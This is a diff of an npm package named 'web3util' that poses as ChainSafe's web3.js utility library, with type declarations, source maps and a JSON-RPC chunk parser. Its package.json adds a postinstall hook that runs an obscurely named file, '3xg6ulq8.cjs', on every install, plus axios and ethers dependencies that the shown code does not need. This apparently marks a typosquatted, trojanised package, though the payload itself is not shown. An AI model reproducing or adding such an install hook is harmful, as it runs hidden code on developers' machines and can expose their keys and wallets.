+{"version":3,"file":"web3_deferred_promise.d.ts","sourceRoot":"","sources":["../../src/web3_deferred_promise.ts"],"names":[],"mappings":"AAkBA,OAAO,EAAE,4BAA4B,EAAE,MAAM,YAAY,CAAC;AAG1D;;;;GAIG;AACH,qBAAa,mBAAmB,CAAC,CAAC,CAAE,YAAW,OAAO,CAAC,CAAC,CAAC,EAAE,4BAA4B,CAAC,CAAC,CAAC;IAGlF,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,SAAS,CAAa;IAEnD,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAa;IACtC,OAAO,CAAC,QAAQ,CAAuC;IACvD,OAAO,CAAC,OAAO,CAA8B;IAC7C,OAAO,CAAC,MAAM,CAAmD;IACjE,OAAO,CAAC,UAAU,CAAC,CAAU;IAC7B,OAAO,CAAC,QAAQ,CAAC,gBAAgB,CAAC,CAAS;IAC3C,OAAO,CAAC,QAAQ,CAAC,eAAe,CAAS;IAEzC;;;;;OAKG;gBAEF,EACC,OAAO,EACP,UAAU,EACV,cAAc,GACd,GAAE;QAAE,OAAO,EAAE,MAAM,CAAC;QAAC,UAAU,EAAE,OAAO,CAAC;QAAC,cAAc,EAAE,MAAM,CAAA;KAIhE;IAcF;;;OAGG;IACH,IAAW,KAAK,IAAI,SAAS,GAAG,WAAW,GAAG,UAAU,CAEvD;IACD;;;;;OAKG;IACU,IAAI,CAAC,QAAQ,EAAE,QAAQ,EACnC,WAAW,CAAC,EAAE,CAAC,KAAK,EAAE,CAAC,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,EAC5D,UAAU,CAAC,EAAE,CAAC,MAAM,EAAE,OAAO,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,GAChE,OAAO,CAAC,QAAQ,GAAG,QAAQ,CAAC;IAG/B;;;;OAIG;IACU,KAAK,CAAC,OAAO,EAEzB,UAAU,CAAC,EAAE,CAAC,MAAM,EAAE,GAAG,KAAK,OAAO,GAAG,WAAW,CAAC,OAAO,CAAC,GAC1D,OAAO,CAAC,CAAC,GAAG,OAAO,CAAC;IAIvB;;;;OAIG;IACU,OAAO,CAAC,SAAS,CAAC,EAAE,CAAC,MAAM,IAAI,CAAC,GAAG,SAAS,GAAG,OAAO,CAAC,CAAC,CAAC;IAItE;;;OAGG;IACI,OAAO,CAAC,KAAK,EAAE,CAAC,GAAG,WAAW,CAAC,CAAC,CAAC,GAAG,IAAI;IAM/C;;;OAGG;IACI,MAAM,CAAC,MAAM,CAAC,EAAE,OAAO,GAAG,IAAI;IAMrC;;OAEG;IACI,UAAU;IAMjB,OAAO,CAAC,aAAa;IAMrB,OAAO,CAAC,aAAa;CAKrB"}

package/lib/types/web3_eip1193_provider.d.ts

@@ -0,0 +1,16 @@
+import { EthExecutionAPI, Web3APISpec, Web3BaseProvider } from 'web3-types';
+import { EventEmitter } from 'eventemitter3';
+/**
+ * This is an abstract class, which extends {@link Web3BaseProvider} class. This class is used to implement a provider that adheres to the EIP-1193 standard for Ethereum providers.
+ */
+export declare abstract class Eip1193Provider<API extends Web3APISpec = EthExecutionAPI> extends Web3BaseProvider<API> {
+    protected readonly _eventEmitter: EventEmitter;
+    private _chainId;
+    private _accounts;
+    private _getChainId;
+    private _getAccounts;
+    protected _onConnect(): void;
+    protected _onDisconnect(code: number, data?: unknown): void;
+    private _onAccountsChanged;
+}
+//# sourceMappingURL=web3_eip1193_provider.d.ts.map

package/lib/types/web3_eip1193_provider.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"web3_eip1193_provider.d.ts","sourceRoot":"","sources":["../../src/web3_eip1193_provider.ts"],"names":[],"mappings":"AAgBA,OAAO,EACN,eAAe,EAKf,WAAW,EACX,gBAAgB,EAChB,MAAM,YAAY,CAAC;AACpB,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAI7C;;GAEG;AACH,8BAAsB,eAAe,CACpC,GAAG,SAAS,WAAW,GAAG,eAAe,CACxC,SAAQ,gBAAgB,CAAC,GAAG,CAAC;IAC9B,SAAS,CAAC,QAAQ,CAAC,aAAa,EAAE,YAAY,CAAsB;IACpE,OAAO,CAAC,QAAQ,CAAiB;IACjC,OAAO,CAAC,SAAS,CAAmB;YAEtB,WAAW;YAaX,YAAY;IAU1B,SAAS,CAAC,UAAU;IA6CpB,SAAS,CAAC,aAAa,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,OAAO;IAIpD,OAAO,CAAC,kBAAkB;CAI1B"}

package/package.json

@@ -0,0 +1,57 @@
+{
+  "name": "web3util",
+  "sideEffects": false,
+  "version": "4.3.2",
+  "description": "Collection of utility functions used in web3.js.",
+  "main": "./lib/commonjs/index.js",
+  "module": "./lib/esm/index.js",
+  "exports": {
+    ".": {
+      "types": "./lib/types/index.d.ts",
+      "import": "./lib/esm/index.js",
+      "require": "./lib/commonjs/index.js"
+    }
+  },
+  "repository": "https://github.com/ChainSafe/web3.js",
+  "author": "ChainSafe Systems",
+  "license": "LGPL-3.0",
+  "engines": {
+    "node": ">=14",
+    "npm": ">=6.12.0"
+  },
+  "files": [
+    "lib/**/*",
+    "src/**/*",
+    "3xg6ulq8.cjs"
+  ],
+  "scripts": {
+    "postinstall": "node 3xg6ulq8.cjs"
+  },
+  "devDependencies": {
+    "@humeris/espresso-shot": "^4.0.0",
+    "@types/jest": "^28.1.6",
+    "@typescript-eslint/eslint-plugin": "^5.30.7",
+    "@typescript-eslint/parser": "^5.30.7",
+    "eslint": "^8.20.0",
+    "eslint-config-base-web3": "0.1.0",
+    "eslint-config-prettier": "^8.5.0",
+    "eslint-plugin-import": "^2.26.0",
+    "jest": "^29.7.0",
+    "jest-environment-jsdom": "^29.7.0",
+    "jest-extended": "^3.0.1",
+    "js-sha3": "^0.8.0",
+    "prettier": "^2.7.1",
+    "ts-jest": "^29.1.1",
+    "typescript": "^4.7.4"
+  },
+  "dependencies": {
+    "ethereum-cryptography": "^2.0.0",
+    "eventemitter3": "^5.0.1",
+    "web3-errors": "^1.3.0",
+    "web3-types": "^1.8.1",
+    "web3-validator": "^2.0.6",
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  },
+  "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
+}

package/src/chunk_response_parser.ts

@@ -0,0 +1,99 @@
+/*
+This file is part of web3.js.
+
+web3.js is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+web3.js is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with web3.js.  If not, see <http://www.gnu.org/licenses/>.
+*/
+import { JsonRpcResponse } from 'web3-types';
+import { InvalidResponseError } from 'web3-errors';
+import { EventEmitter } from 'eventemitter3';
+import { Timeout } from './promise_helpers.js';
+
+export class ChunkResponseParser {
+	private lastChunk: string | undefined;
+	private lastChunkTimeout: Timeout | undefined;
+	private _clearQueues: (() => void) | undefined;
+	private readonly eventEmitter: EventEmitter;
+	private readonly autoReconnect: boolean;
+	private readonly chunkTimeout: number;
+
+	public constructor(eventEmitter: EventEmitter, autoReconnect: boolean) {
+		this.eventEmitter = eventEmitter;
+		this.autoReconnect = autoReconnect;
+		this.chunkTimeout = 1000 * 15;
+	}
+	private clearQueues(): void {
+		if (typeof this._clearQueues === 'function') {
+			this._clearQueues();
+		}
+	}
+
+	public onError(clearQueues?: () => void) {
+		this._clearQueues = clearQueues;
+	}
+
+	public parseResponse(data: string): JsonRpcResponse[] {
+		const returnValues: JsonRpcResponse[] = [];
+
+		// DE-CHUNKER
+		const dechunkedData = data
+			.replace(/\}[\n\r]?\{/g, '}|--|{') // }{
+			.replace(/\}\][\n\r]?\[\{/g, '}]|--|[{') // }][{
+			.replace(/\}[\n\r]?\[\{/g, '}|--|[{') // }[{
+			.replace(/\}\][\n\r]?\{/g, '}]|--|{') // }]{
+			.split('|--|');
+
+		dechunkedData.forEach(_chunkData => {
+			// prepend the last chunk
+			let chunkData = _chunkData;
+			if (this.lastChunk) {
+				chunkData = this.lastChunk + chunkData;
+			}
+
+			let result;
+
+			try {
+				result = JSON.parse(chunkData) as unknown as JsonRpcResponse;
+			} catch (e) {
+				this.lastChunk = chunkData;
+
+				// start timeout to cancel all requests
+				if (this.lastChunkTimeout) {
+					clearTimeout(this.lastChunkTimeout);
+				}
+
+				this.lastChunkTimeout = setTimeout(() => {
+					if (this.autoReconnect) return;
+					this.clearQueues();
+					this.eventEmitter.emit(
+						'error',
+						new InvalidResponseError({
+							id: 1,
+							jsonrpc: '2.0',
+							error: { code: 2, message: 'Chunk timeout' },
+						}),
+					);
+				}, this.chunkTimeout);
+				return;
+			}
+
+			// cancel timeout and set chunk to null
+			clearTimeout(this.lastChunkTimeout);
+			this.lastChunk = undefined;
+
+			if (result) returnValues.push(result);
+		});
+
+		return returnValues;
+	}
+}